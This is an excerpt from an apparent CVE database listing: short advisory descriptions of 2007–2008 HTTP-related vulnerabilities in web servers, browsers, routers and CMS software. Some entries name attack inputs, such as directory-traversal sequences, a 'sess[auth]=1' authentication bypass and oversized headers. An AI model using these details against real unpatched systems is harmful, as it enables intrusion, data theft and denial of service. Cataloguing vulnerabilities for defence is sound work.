12516| [CVE-2008-1690] WebContainer.exe 1.0.0.336 and earlier in SLMail Pro 6.3.1.0 and earlier allows remote attackers to cause a denial of service (memory corruption and daemon crash) or possibly execute arbitrary code via a long URI in HTTP requests to TCP port 801. NOTE: some of these details are obtained from third party information.
12517| [CVE-2008-1689] Stack consumption vulnerability in WebContainer.exe 1.0.0.336 and earlier in SLMail Pro 6.3.1.0 and earlier allows remote attackers to cause a denial of service (daemon crash) via a long request header in an HTTP request to TCP port 801. NOTE: some of these details are obtained from third party information.
12518| [CVE-2008-1678] Memory leak in the zlib_stateful_init function in crypto/comp/c_zlib.c in libssl in OpenSSL 0.9.8f through 0.9.8h allows remote attackers to cause a denial of service (memory consumption) via multiple calls, as demonstrated by initial SSL client handshakes to the Apache HTTP Server mod_ssl that specify a compression algorithm.
12519| [CVE-2008-1652] Directory traversal vulnerability in the _serve_request_multiple function in lib/Perlbal/ClientHTTPBase.pm in Perlbal before 1.70, when concat get is enabled, allows remote attackers to read arbitrary files in a parent directory via a directory traversal sequence in an unspecified parameter. NOTE: some of these details are obtained from third party information.
12520| [CVE-2008-1647] The ChilkatHttp.ChilkatHttp.1 and ChilkatHttp.ChilkatHttpRequest.1 ActiveX controls in ChilkatHttp.dll 2.4.0.0, 2.3.0.0, and earlier in ChilkatHttp ActiveX expose the unsafe SaveLastError method, which allows remote attackers to overwrite arbitrary files. NOTE: some of these details are obtained from third party information.
12521| [CVE-2008-1591] The pnVarPrepForStore function in PostNuke 0.764 and earlier skips input sanitization when magic_quotes_runtime is enabled, which allows remote attackers to conduct SQL injection attacks and execute arbitrary SQL commands via input associated with server variables, as demonstrated by the CLIENT_IP HTTP header (HTTP_CLIENT_IP variable).
12522| [CVE-2008-1545] The setRequestHeader method of the XMLHttpRequest object in Microsoft Internet Explorer 7 does not restrict the dangerous Transfer-Encoding HTTP request header, which allows remote attackers to conduct HTTP request splitting and HTTP request smuggling attacks via a POST containing a "Transfer-Encoding: chunked" header and a request body with an incorrect chunk size.
12523| [CVE-2008-1544] The setRequestHeader method of the XMLHttpRequest object in Microsoft Internet Explorer 5.01, 6, and 7 does not block dangerous HTTP request headers when certain 8-bit character sequences are appended to a header name, which allows remote attackers to (1) conduct HTTP request splitting and HTTP request smuggling attacks via an incorrect Content-Length header, (2) access arbitrary virtual hosts via a modified Host header, (3) bypass referrer restrictions via an incorrect Referer header, and (4) bypass the same-origin policy and obtain sensitive information via a crafted request header.
12524| [CVE-2008-1531] The connection_state_machine function (connections.c) in lighttpd 1.4.19 and earlier, and 1.5.x before 1.5.0, allows remote attackers to cause a denial of service (active SSL connection loss) by triggering an SSL error, such as disconnecting before a download has finished, which causes all active SSL connections to be lost.
12525| [CVE-2008-1528] ZyXEL Prestige routers, including P-660, P-661, and P-662 models with firmware 3.40(AGD.2) through 3.40(AHQ.3), allow remote authenticated users to obtain authentication data by making direct HTTP requests and then reading the HTML source, as demonstrated by a request for (1) RemMagSNMP.html, which discloses SNMP communities
12526| [CVE-2008-1527] ZyXEL Prestige routers, including P-660, P-661, and P-662 models with firmware 3.40(PE9) and 3.40(AGD.2) through 3.40(AHQ.3), support authentication over HTTP via a hash string in the hiddenPassword field, which allows remote attackers to obtain access via a replay attack.
12527| [CVE-2008-1513] SQL injection vulnerability in index.php in Danneo CMS 0.5.1 and earlier, when the Referers statistics option is enabled, allows remote attackers to execute arbitrary SQL commands via the HTTP Referer header.
12528| [CVE-2008-1446] Integer overflow in the Internet Printing Protocol (IPP) ISAPI extension in Microsoft Internet Information Services (IIS) 5.0 through 7.0 on Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, and Server 2008 allows remote authenticated users to execute arbitrary code via an HTTP POST request that triggers an outbound IPP connection from a web server to a machine operated by the attacker, aka "Integer Overflow in IPP Service Vulnerability."
12529| [CVE-2008-1401] Format string vulnerability in the Net Inspector HTTP server (mghttpd) in MG-SOFT Net Inspector 6.5.0.828 and earlier for Windows allows remote attackers to execute arbitrary code via format string specifiers in the URI, which is recorded in a log file.
12530| [CVE-2008-1400] Directory traversal vulnerability in the Net Inspector HTTP Server (mghttpd) in MG-SOFT Net Inspector 6.5.0.828 and earlier for Windows allows remote attackers to read arbitrary files via a "..\" (dot dot backslash) or "../" (dot dot slash) in the URI.
12531| [CVE-2008-1398] SQL injection vulnerability in online.php in AuraCMS 2.0 through 2.2.1 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For field (HTTP_X_FORWARDED_FOR environment variable) in an HTTP header.
12532| [CVE-2008-1390] The AsteriskGUI HTTP server in Asterisk Open Source 1.4.x before 1.4.19-rc3 and 1.6.x before 1.6.0-beta6, Business Edition C.x.x before C.1.6, AsteriskNOW before 1.0.2, Appliance Developer Kit before revision 104704, and s800i 1.0.x before 1.1.0.2 generates insufficiently random manager ID values, which makes it easier for remote attackers to hijack a manager session via a series of ID guesses.
12533| [CVE-2008-1385] Cross-site scripting (XSS) vulnerability in the Top Referrers (aka referrer) plugin in Serendipity (S9Y) before 1.3.1 allows remote attackers to inject arbitrary web script or HTML via the Referer HTTP header.
12534| [CVE-2008-1366] Trend Micro OfficeScan Corporate Edition 8.0 Patch 2 build 1189 and earlier, and 7.3 Patch 3 build 1314 and earlier, allows remote attackers to cause a denial of service (process consumption) via (1) an HTTP request without a Content-Length header or (2) invalid characters in unspecified CGI arguments, which triggers a NULL pointer dereference.
12535| [CVE-2008-1270] mod_userdir in lighttpd 1.4.18 and earlier, when userdir.path is not set, uses a default of $HOME, which might allow remote attackers to read arbitrary files, as demonstrated by accessing the ~nobody directory.
12536| [CVE-2008-1267] The Siemens SpeedStream 6520 router allows remote attackers to cause a denial of service (web interface crash) via an HTTP request to basehelp_English.htm with a large integer in the Content-Length field.
12537| [CVE-2008-1266] Multiple buffer overflows in the web interface on the D-Link DI-524 router allow remote attackers to cause a denial of service (device crash) or possibly have unspecified other impact via (1) a long username or (2) an HTTP header with a large name and an empty value.
12538| [CVE-2008-1263] The Linksys WRT54G router stores passwords and keys in cleartext in the Config.bin file, which might allow remote authenticated users to obtain sensitive information via an HTTP request for the top-level Config.bin URI.
12539| [CVE-2008-1245] cgi-bin/setup_virtualserver.exe on the Belkin F5D7230-4 router with firmware 9.01.10 allows remote attackers to cause a denial of service (control center outage) via an HTTP request with invalid POST data and a "Connection: Keep-Alive" header.
12540| [CVE-2008-1238] Mozilla Firefox before 2.0.0.13 and SeaMonkey before 1.1.9, when generating the HTTP Referer header, does not list the entire URL when it contains Basic Authentication credentials without a username, which makes it easier for remote attackers to bypass application protection mechanisms that rely on Referer headers, such as with some Cross-Site Request Forgery (CSRF) mechanisms.
12541| [CVE-2008-1232] Cross-site scripting (XSS) vulnerability in Apache Tomcat 4.1.0 through 4.1.37, 5.5.0 through 5.5.26, and 6.0.0 through 6.0.16 allows remote attackers to inject arbitrary web script or HTML via a crafted string that is used in the message argument to the HttpServletResponse.sendError method.
12542| [CVE-2008-1169] Directory traversal vulnerability in the embedded HTTP server in SCI Photo Chat Server 3.4.9 and earlier allows remote attackers to read arbitrary files via a "..\" (dot dot backslash) or "../" (dot dot forward slash) in the GET command.
12543| [CVE-2008-1111] mod_cgi in lighttpd 1.4.18 sends the source code of CGI scripts instead of a 500 error when a fork failure occurs, which might allow remote attackers to obtain sensitive information.
12544| [CVE-2008-1106] The management interface in Akamai Client (formerly Red Swoosh) 3322 and earlier allows remote attackers to bypass authentication via an HTTP request that contains (1) no Referer header, or (2) a spoofed Referer header that matches an approved domain, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks and force the client to download and execute arbitrary files.
12545| [CVE-2008-1054] Stack-based buffer overflow in the _lib_spawn_user_getpid function in (1) swatch.exe and (2) surgemail.exe in NetWin SurgeMail 38k4 and earlier, and beta 39a, allows remote attackers to cause a denial of service (daemon crash) and possibly execute arbitrary code via an HTTP request with multiple long headers to webmail.exe and unspecified other CGI executables, which triggers an overflow when assigning values to environment variables. NOTE: some of these details are obtained from third party information.
12546| [CVE-2008-1052] The administration web interface in NetWin SurgeFTP 2.3a2 and earlier allows remote attackers to cause a denial of service (daemon crash) via a large integer in the Content-Length HTTP header, which triggers a NULL pointer dereference when memory allocation fails.
12547| [CVE-2008-0983] lighttpd 1.4.18, and possibly other versions before 1.5.0, does not properly calculate the size of a file descriptor array, which allows remote attackers to cause a denial of service (crash) via a large number of connections, which triggers an out-of-bounds access.
12548| [CVE-2008-0927] dhost.exe in Novell eDirectory 8.7.3 before sp10 and 8.8.2 allows remote attackers to cause a denial of service (CPU consumption) via an HTTP request with (1) multiple Connection headers or (2) a Connection header with multiple comma-separated values. NOTE: this might be similar to CVE-2008-1777.
12549| [CVE-2008-0925] Cross-site scripting (XSS) vulnerability in the iMonitor interface in Novell eDirectory 8.7.3.x before 8.7.3 sp10, and 8.8.x before 8.8.2 ftf2, allows remote attackers to inject arbitrary web script or HTML via unspecified parameters that are used within "error messages of the HTTP stack."
12550| [CVE-2008-0871] Multiple stack-based buffer overflows in Now SMS/MMS Gateway 2007.06.27 and earlier allow remote attackers to execute arbitrary code via a (1) long password in an Authorization header to the HTTP service or a (2) large packet to the SMPP service.
12551| [CVE-2008-0870] BEA WebLogic Portal 10.0 and 9.2 through Maintenance Pack 2, under certain circumstances, can redirect a user from the https:// URI for the Portal Administration Console to an http URI, which allows remote attackers to sniff the session.
12552| [CVE-2008-0850] Multiple SQL injection vulnerabilities in Dokeos 1.8.4 allow remote attackers to execute arbitrary SQL commands via the (1) id parameter to whoisonline.php, (2) tracking_list_coaches_column parameter to main/mySpace/index.php, (3) tutor_name parameter to main/create_course/add_course.php, the (4) Referer HTTP header to index.php, and the (5) X-Fowarded-For HTTP header to main/admin/class_list.php.
12553| [CVE-2008-0834] Cross-site scripting (XSS) vulnerability in Lotus Quickr for i5/OS before 8.0.0.2 Hotfix 11, when anonymous access is disabled on HTTP ports, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
12554| [CVE-2008-0786] CRLF injection vulnerability in Cacti 0.8.7 before 0.8.7b and 0.8.6 before 0.8.6k, when running on older PHP interpreters, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
12555| [CVE-2008-0758] Multiple directory traversal vulnerabilities in the Zidget/HTTP embedded HTTP server in ExtremeZ-IP File and Print Server 5.1.2x15 and earlier allow remote attackers to read arbitrary (1) gif, (2) png, (3) jpg, (4) xml, (5) ico, (6) zip, and (7) html files via a "..\" (dot dot backslash) sequence in the filename.
12556| [CVE-2008-0740] IBM WebSphere Application Server (WAS) before 6.0.2 Fix Pack 25 (6.0.2.25) and 6.1 before Fix Pack 15 (6.1.0.15) writes unspecified cleartext information to http_plugin.log, which might allow local users to obtain sensitive information by reading this file.
12557| [CVE-2008-0694] Cross-site scripting (XSS) vulnerability in the HTTP Server in IBM OS/400 V5R3M0 and V5R4M0 allows remote attackers to inject arbitrary web script or HTML via the Expect HTTP header.
12558| [CVE-2008-0622] Cross-site scripting (XSS) vulnerability in RaidenHTTPD 2.0.19 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors related to the ulang parameter.
12559| [CVE-2008-0563] Cross-site request forgery (CSRF) vulnerability in service/impl/UserLocalServiceImpl.java in Liferay Portal 4.3.6 allows remote attackers to perform unspecified actions as unspecified authenticated users via the User-Agent HTTP header, which is used when composing Forgot Password e-mail messages in HTML format.
12560| [CVE-2008-0550] Off-by-one error in Steamcast 0.9.75 and earlier allows remote attackers to cause a denial of service (daemon crash) or execute arbitrary code via a certain HTTP request that leads to a buffer overflow, as demonstrated by a long User-Agent header.
12561| [CVE-2008-0548] Steamcast 0.9.75 and earlier allows remote attackers to cause a denial of service (daemon crash) via a large integer in the Content-Length HTTP header, which triggers a NULL dereference when malloc fails.
12562| [CVE-2008-0527] The HTTP server in Cisco Unified IP Phone 7935 and 7936 running SCCP firmware allows remote attackers to cause a denial of service (reboot) via a crafted HTTP request.
12563| [CVE-2008-0478] Directory traversal vulnerability in index.php in SetCMS 3.6.5 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the set parameter, as demonstrated by sending a certain CLIENT_IP HTTP header in an enter action to index.php, and injecting PHP sequences into files/enter.set, which is then included by index.php.
12564| [CVE-2008-0456] CRLF injection vulnerability in the mod_negotiation module in the Apache HTTP Server 2.2.6 and earlier in the 2.2.x series, 2.0.61 and earlier in the 2.0.x series, and 1.3.39 and earlier in the 1.3.x series allows remote authenticated users to inject arbitrary HTTP headers and conduct HTTP response splitting attacks by uploading a file with a multi-line name containing HTTP header sequences and a file extension, which leads to injection within a (1) "406 Not Acceptable" or (2) "300 Multiple Choices" HTTP response when the extension is omitted in a request for the file.
12565| [CVE-2008-0455] Cross-site scripting (XSS) vulnerability in the mod_negotiation module in the Apache HTTP Server 2.2.6 and earlier in the 2.2.x series, 2.0.61 and earlier in the 2.0.x series, and 1.3.39 and earlier in the 1.3.x series allows remote authenticated users to inject arbitrary web script or HTML by uploading a file with a name containing XSS sequences and a file extension, which leads to injection within a (1) "406 Not Acceptable" or (2) "300 Multiple Choices" HTTP response when the extension is omitted in a request for the file.
12566| [CVE-2008-0448] PHP remote file inclusion vulnerability in utils/class_HTTPRetriever.php in phpSearch allows remote attackers to execute arbitrary PHP code via a URL in the libcurlemuinc parameter.
12567| [CVE-2008-0410] HTTP File Server (HFS) before 2.2c allows remote attackers to obtain configuration and usage details by using an id element such as <id>%version%</id> in HTTP Basic Authentication instead of a username and password, as demonstrated by placing this id element in the userinfo subcomponent of a URL.
12568| [CVE-2008-0409] Cross-site scripting (XSS) vulnerability in HTTP File Server (HFS) before 2.2c allows remote attackers to inject arbitrary web script or HTML via the userinfo subcomponent of a URL.
12569| [CVE-2008-0408] HTTP File Server (HFS) before 2.2c allows remote attackers to append arbitrary text to the log file by using the base64 representation of this text during HTTP Basic Authentication.
12570| [CVE-2008-0407] HTTP File Server (HFS) before 2.2c tags HTTP request log entries with the username sent during HTTP Basic Authentication, regardless of whether authentication succeeded, which might make it more difficult for an administrator to determine who made a remote request.
12571| [CVE-2008-0406] HTTP File Server (HFS) before 2.2c, when account names are used as log filenames, allows remote attackers to cause a denial of service (daemon crash) via a long account name.
12572| [CVE-2008-0405] Multiple directory traversal vulnerabilities in HTTP File Server (HFS) before 2.2c, when account names are used as log filenames, allow remote attackers to create arbitrary (1) files and (2) directories via a .. (dot dot) in an account name, when requesting the / URI
12573| [CVE-2008-0401] Buffer overflow in the logging functionality of the HTTP server in IBM Tivoli Provisioning Manager for OS Deployment (TPMfOSD) before 5.1.0.3 Interim Fix 3 allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via an HTTP request with a long method string to port 443/tcp.
12574| [CVE-2008-0396] Directory traversal vulnerability in BitDefender Update Server (http.exe), as used in BitDefender products including Security for Fileservers and Enterprise Manager (BDEM), allows remote attackers to read arbitrary files via .. (dot dot) sequences in an HTTP request.
12575| [CVE-2008-0390] stat.php in AuraCMS 1.62, and Mod Block Statistik for AuraCMS, allows remote attackers to inject arbitrary PHP code into online.db.txt via the X-Forwarded-For HTTP header in a stat action to index.php, and execute online.db.txt via a certain request to index.php.
12576| [CVE-2008-0372] 8e6 R3000 Internet Filter 2.0.05.33, and other versions before 2.0.11, allows remote attackers to bypass intended restrictions via a fragmented HTTP request.
12577| [CVE-2008-0367] Mozilla Firefox 2.0.0.11, 3.0b2, and possibly earlier versions, when prompting for HTTP Basic Authentication, displays the site requesting the authentication after the Realm text, which might make it easier for remote HTTP servers to conduct phishing and spoofing attacks.
12578| [CVE-2008-0338] Directory traversal vulnerability in the mwGetLocalFileName function in http.c in MiniWeb HTTP Server 0.8.19 allows remote attackers to read arbitrary files and list arbitrary directories via a (1) .%2e (partially encoded dot dot) or (2) %2e%2e (encoded dot dot) in the URI.
12579| [CVE-2008-0337] Heap-based buffer overflow in the _mwProcessReadSocket function in http.c in MiniWeb HTTP Server 0.8.19 allows remote attackers to execute arbitrary code via a long URI.
12580| [CVE-2008-0311] Stack-based buffer overflow in the PGMWebHandler::parse_request function in the StarTeam Multicast Service component (STMulticastService) 6.4 in Borland CaliberRM 2006 allows remote attackers to execute arbitrary code via a large HTTP request.
12581| [CVE-2008-0210] Uebimiau Webmail 2.7.10 and 2.7.2 does not protect authentication state variables from being set through HTTP requests, which allows remote attackers to bypass authentication via a sess[auth]=1 parameter settting. NOTE: this can be leveraged to conduct directory traversal attacks without authentication by using CVE-2008-0140.
12582| [CVE-2008-0202] CRLF injection vulnerability in index.php in ExpressionEngine 1.2.1 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the URL parameter.
12583| [CVE-2008-0179] Cross-site scripting (XSS) vulnerability in service/impl/UserLocalServiceImpl.java in Liferay Portal 4.3.6 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header, which is used when composing Forgot Password e-mail messages in HTML format.
12584| [CVE-2008-0178] Cross-site scripting (XSS) vulnerability in the Enterprise Admin Session Monitoring component in Liferay Portal 4.3.6 allows remote authenticated users to inject arbitrary web script or HTML via the User-Agent HTTP header.
12585| [CVE-2008-0174] GE Fanuc Proficy Real-Time Information Portal 2.6 and earlier uses HTTP Basic Authentication, which transmits usernames and passwords in base64-encoded cleartext and allows remote attackers to steal the passwords and gain privileges.
12586| [CVE-2008-0128] The SingleSignOn Valve (org.apache.catalina.authenticator.SingleSignOn) in Apache Tomcat before 5.5.21 does not set the secure flag for the JSESSIONIDSSO cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
12587| [CVE-2008-0071] The Web UI interface in (1) BitTorrent before 6.0.3 build 8642 and (2) uTorrent before 1.8beta build 10524 allows remote attackers to cause a denial of service (application crash) via an HTTP request with a malformed Range header.
12588| [CVE-2008-0050] CFNetwork in Apple Mac OS X 10.4.11 allows remote HTTPS proxy servers to spoof secure websites via data in a 502 Bad Gateway error.
12589| [CVE-2008-0017] The http-index-format MIME type parser (nsDirIndexParser) in Firefox 3.x before 3.0.4, Firefox 2.x before 2.0.0.18, and SeaMonkey 1.x before 1.1.13 does not check for an allocation failure, which allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP index response with a crafted 200 header, which triggers memory corruption and a buffer overflow.
12590| [CVE-2007-6750] The Apache HTTP Server 1.x and 2.x allows remote attackers to cause a denial of service (daemon outage) via partial HTTP requests, as demonstrated by Slowloris, related to the lack of the mod_reqtimeout module in versions before 2.2.15.
12591| [CVE-2007-6724] Vidalia bundle before 0.1.2.18, when running on Windows, installs Privoxy with a configuration file (config.txt or config) that contains an insecure enable-remote-http-toggle setting, which allows remote attackers to bypass intended access restrictions and modify configuration.
12592| [CVE-2007-6682] Format string vulnerability in the httpd_FileCallBack function (network/httpd.c) in VideoLAN VLC 0.8.6d allows remote attackers to execute arbitrary code via format string specifiers in the Connection parameter.
12593| [CVE-2007-6640] Creammonkey 0.9 through 1.1 and GreaseKit 1.2 through 1.3 does not properly prevent access to dangerous functions, which allows remote attackers to read the configuration, modify the configuration, or send an HTTP request via the (1) GM_addStyle, (2) GM_log, (3) GM_openInTab, (4) GM_setValue, (5) GM_getValue, or (6) GM_xmlhttpRequest function within a web page on which a userscript is configured.
12594| [CVE-2007-6622] SQL injection vulnerability in security.php in ZeusCMS 0.3 and earlier allows remote attackers to execute arbitrary SQL commands via the Referer HTTP header.
12595| [CVE-2007-6612] Directory traversal vulnerability in DirHandler (lib/mongrel/handlers.rb) in Mongrel 1.0.4 and 1.1.x before 1.1.3 allows remote attackers to read arbitrary files via an HTTP request containing double-encoded sequences (".%252e").
12596| [CVE-2007-6589] The jar protocol handler in Mozilla Firefox before 2.0.0.10 and SeaMonkey before 1.1.7 does not update the origin domain when retrieving the inner URL parameter yields an HTTP redirect, which allows remote attackers to conduct cross-site scripting (XSS) attacks via a jar: URI, a different vulnerability than CVE-2007-5947.
12597| [CVE-2007-6533] Buffer overflow in Zoom Player 6.00 beta 2 and earlier allows user-assisted remote attackers to execute arbitrary code via an HTTP link to a PLS file in a crafted ZPL file, which causes an overflow in Unicode handling when generating an error message.
12598| [CVE-2007-6514] Apache HTTP Server, when running on Linux with a document root on a Windows share mounted using smbfs, allows remote attackers to obtain unprocessed content such as source files for .php programs via a trailing "\" (backslash), which is not handled by the intended AddType directive.
12599| [CVE-2007-6511] Websense Enterprise 6.3.1 allows remote attackers to bypass content filtering by visiting http URLs with a (1) RealPlayer G2, (2) MSMSGS, or (3) StoneHttpAgent User-Agent header, which results in a Non-HTTP categorization.
12600| [CVE-2007-6454] Heap-based buffer overflow in the handshakeHTTP function in servhs.cpp in PeerCast 0.1217 and earlier, and SVN 344 and earlier, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long SOURCE request.
12601| [CVE-2007-6453] Directory traversal vulnerability in raidenhttpd-admin/workspace.php in RaidenHTTPD 2.0.19, when the WebAdmin function is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the ulang parameter.
12602| [CVE-2007-6423] ** DISPUTED ** Unspecified vulnerability in mod_proxy_balancer for Apache HTTP Server 2.2.x before 2.2.7-dev, when running on Windows, allows remote attackers to trigger memory corruption via a long URL. NOTE: the vendor could not reproduce this issue.
12603| [CVE-2007-6422] The balancer_handler function in mod_proxy_balancer in the Apache HTTP Server 2.2.0 through 2.2.6, when a threaded Multi-Processing Module is used, allows remote authenticated users to cause a denial of service (child process crash) via an invalid bb variable.
12604| [CVE-2007-6421] Cross-site scripting (XSS) vulnerability in balancer-manager in mod_proxy_balancer in the Apache HTTP Server 2.2.0 through 2.2.6 allows remote attackers to inject arbitrary web script or HTML via the (1) ss, (2) wr, or (3) rr parameters, or (4) the URL.
12605| [CVE-2007-6420] Cross-site request forgery (CSRF) vulnerability in the balancer-manager in mod_proxy_balancer for Apache HTTP Server 2.2.x allows remote attackers to gain privileges via unspecified vectors.
12606| [CVE-2007-6405] Sergey Lyubka Simple HTTPD (shttpd) 1.38 and earlier on Windows allows remote attackers to download arbitrary CGI programs or scripts via a URI with an appended (1) '+' character, (2) '.' character, (3) %2e sequence (hex-encoded dot), or (4) hex-encoded character greater than 0x7f. NOTE: the %20 vector is already covered by CVE-2007-3407.
12607| [CVE-2007-6404] Directory traversal vulnerability in Sergey Lyubka Simple HTTPD (shttpd) 1.38 and earlier on Windows allows remote attackers to read arbitrary files via a ..\ (dot dot backslash) in the URI.
12608| [CVE-2007-6388] Cross-site scripting (XSS) vulnerability in mod_status in the Apache HTTP Server 2.2.0 through 2.2.6, 2.0.35 through 2.0.61, and 1.3.2 through 1.3.39, when the server-status page is enabled, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
12609| [CVE-2007-6385] The proxy server in Kerio WinRoute Firewall before 6.4.1 does not properly enforce authentication for HTTPS pages, which has unknown impact and attack vectors. NOTE: it is not clear whether this issue crosses privilege boundaries.
12610| [CVE-2007-6361] Gekko 0.8.2 and earlier stores sensitive information under the web root with possibly insufficient access control, which might allow remote attackers to read certain files under temp/, as demonstrated by a log file that records the titles of blog entries. NOTE: access to temp/ is blocked by .htaccess in most deployments that use Apache HTTP Server.
12611| [CVE-2007-6360] Unspecified vulnerability in the Sun eXtended System Control Facility (XSCF) Control Package (XCP) firmware before 1050 on SPARC Enterprise M4000, M5000, M8000, and M9000 servers allows remote attackers to cause a denial of service (reboot) via (1) telnet, (2) ssh, or (3) http network traffic that triggers memory exhaustion.
12612| [CVE-2007-6349] P4Webs.exe in Perforce P4Web 2006.2 and earlier, when running on Windows, allows remote attackers to cause a denial of service (CPU consumption) via an HTTP request with an empty body and a Content-Length greater than 0.
12613| [CVE-2007-6342] SQL injection vulnerability in the David Castro AuthCAS module (AuthCAS.pm) 0.4 for the Apache HTTP Server allows remote attackers to execute arbitrary SQL commands via the SESSION_COOKIE_NAME (session ID) in a cookie.
12614| [CVE-2007-6326] Sergey Lyubka Simple HTTPD (shttpd) 1.3 on Windows allows remote attackers to cause a denial of service via a request that includes an MS-DOS device name, as demonstrated by the /aux URI.
12615| [CVE-2007-6316] Cross-site scripting (XSS) vulnerability in BarracudaDrive Web Server before 3.8 allows remote attackers to inject arbitrary web script or HTML via the URI path in an HTTP GET request, which is activated by administrators viewing log files via the Trace page.
12616| [CVE-2007-6315] Group Chat in BarracudaDrive Web Server before 3.8 allows remote authenticated users to cause a denial of service (crash) via a HTTP request to /eh/chat.ehintf/C. that does not contain a Connection ID, which results in a NULL pointer dereference.
12617| [CVE-2007-6308] Cross-site scripting (XSS) vulnerability in HttpLogger 0.8.1 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
12618| [CVE-2007-6307] Multiple cross-site scripting (XSS) vulnerabilities in clickstats.php in wwwstats 3.21 allow remote attackers to inject arbitrary web script or HTML via (1) the link parameter or (2) the User-Agent HTTP header.
12619| [CVE-2007-6245] Adobe Flash Player 9.x up to 9.0.48.0, 8.x up to 8.0.35.0, and 7.x up to 7.0.70.0 allows remote attackers to modify HTTP headers for client requests and conduct HTTP Request Splitting attacks.
12620| [CVE-2007-6239] The "cache update reply processing" functionality in Squid 2.x before 2.6.STABLE17 and Squid 3.0 allows remote attackers to cause a denial of service (crash) via unknown vectors related to HTTP headers and an Array memory leak during requests for cached objects.
12621| [CVE-2007-6231] Multiple PHP remote file inclusion vulnerabilities in tellmatic 1.0.7 allow remote attackers to execute arbitrary PHP code via a URL in the tm_includepath parameter to (1) Classes.inc.php, (2) statistic.inc.php, (3) status.inc.php, (4) status_top_x.inc.php, or (5) libchart-1.1/libchart.php in include/. NOTE: access to include/ is blocked by .htaccess in most deployments that use Apache HTTP Server.
12622| [CVE-2007-6203] Apache HTTP Server 2.0.x and 2.2.x does not sanitize the HTTP Method specifier header from an HTTP request when it is reflected back in a "413 Request Entity Too Large" error message, which might allow cross-site scripting (XSS) style attacks using web client components that can send arbitrary headers in requests, as demonstrated via an HTTP request containing an invalid Content-length value, a similar issue to CVE-2006-3918.
12623| [CVE-2007-6190] The HTTP daemon in the Cisco Unified IP Phone, when the Extension Mobility feature is enabled, allows remote authenticated users of other phones associated with the same CUCM server to eavesdrop on the physical environment via a CiscoIPPhoneExecute message containing a URL attribute of an ExecuteItem element that specifies a Real-Time Transport Protocol (RTP) audio stream.
12624| [CVE-2007-6117] Unspecified vulnerability in the HTTP dissector for Wireshark (formerly Ethereal) 0.10.14 to 0.99.6 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via crafted chunked messages.
12625| [CVE-2007-6083] SQL injection vulnerability in admin/index.php in IceBB 1.0-rc6 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For HTTP header.
12626| [CVE-2007-6018] IMP Webmail Client 4.1.5, Horde Application Framework 3.1.5, and Horde Groupware Webmail Edition 1.0.3 does not validate unspecified HTTP requests, which allows remote attackers to (1) delete arbitrary e-mail messages via a modified numeric ID or (2) "purge" deleted emails via a crafted email message.
12627| [CVE-2007-6000] KDE Konqueror 3.5.6 and earlier allows remote attackers to cause a denial of service (crash) via large HTTP cookie parameters.
12628| [CVE-2007-5960] Mozilla Firefox before 2.0.0.10 and SeaMonkey before 1.1.7 sets the Referer header to the window or frame in which script is running, instead of the address of the content that initiated the script, which allows remote attackers to spoof HTTP Referer headers and bypass Referer-based CSRF protection schemes by setting window.location and using a modal alert dialog that causes the wrong Referer to be sent.
12629| [CVE-2007-5944] Cross-site scripting (XSS) vulnerability in Servlet Engine / Web Container in IBM WebSphere Application Server (WAS) 5.1.1.4 through 5.1.1.16 allows remote attackers to inject arbitrary web script or HTML via the Expect HTTP header. NOTE: this might be the same issue as CVE-2006-3918, but there are insufficient details to be sure.
12630| [CVE-2007-5924] Cross-site scripting (XSS) vulnerability in the Web Server (HTTP) task in IBM Lotus Domino before 6.5.6 FP2, and 7.x before 7.0.2 FP2, allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.
12631| [CVE-2007-5900] PHP before 5.2.5 allows local users to bypass protection mechanisms configured through php_admin_value or php_admin_flag in httpd.conf by using ini_set to modify arbitrary configuration variables, a different issue than CVE-2006-4625.
12632| [CVE-2007-5893] HTTPSocket.cpp in the C++ Sockets Library before 2.2.5 allows remote attackers to cause a denial of service (crash) via an HTTP request with a missing protocol version number, which triggers an exception. NOTE: some of these details were obtained from third party information.
12633| [CVE-2007-5832] Unspecified vulnerability in selectLanguage.do in SSL-Explorer before 0.2.15 allows remote attackers to inject (1) headers or (2) body data in an HTTP transaction, a different vulnerability than CVE-2007-2907. NOTE: some of these details are obtained from third party information.
12634| [CVE-2007-5826] Absolute path traversal vulnerability in the EDraw Flowchart ActiveX control in EDImage.ocx 2.0.2005.1104 allows remote attackers to create or overwrite arbitrary files with arbitrary contents via a full pathname in the second argument to the HttpDownloadFile method, a different product than CVE-2007-4420.
12635| [CVE-2007-5825] Format string vulnerability in the ws_addarg function in webserver.c in mt-dappd in Firefly Media Server 0.2.4 and earlier allows remote attackers to execute arbitrary code via a stats method action to /xml-rpc with format string specifiers in the (1) username or (2) password portion of base64-encoded data on the "Authorization: Basic" HTTP header line.
12636| [CVE-2007-5809] Cross-site scripting (XSS) vulnerability in Hitachi Web Server 01-00 through 03-10, as used by certain Cosminexus products, allows remote attackers to inject arbitrary web script or HTML via unspecified HTTP requests that trigger creation of a server-status page.
12637| [CVE-2007-5778] Mobile Spy (1) stores login credentials in cleartext under the RetinaxStudios registry key, and (2) sends login credentials and log data over a cleartext HTTP connection, which allows attackers to obtain sensitive information by reading the registry or sniffing the network.
12638| [CVE-2007-5768] The Globe7 soft phone client 7.3 sends username and password information in cleartext, which allows remote attackers to obtain sensitive information by sniffing the HTTP traffic.
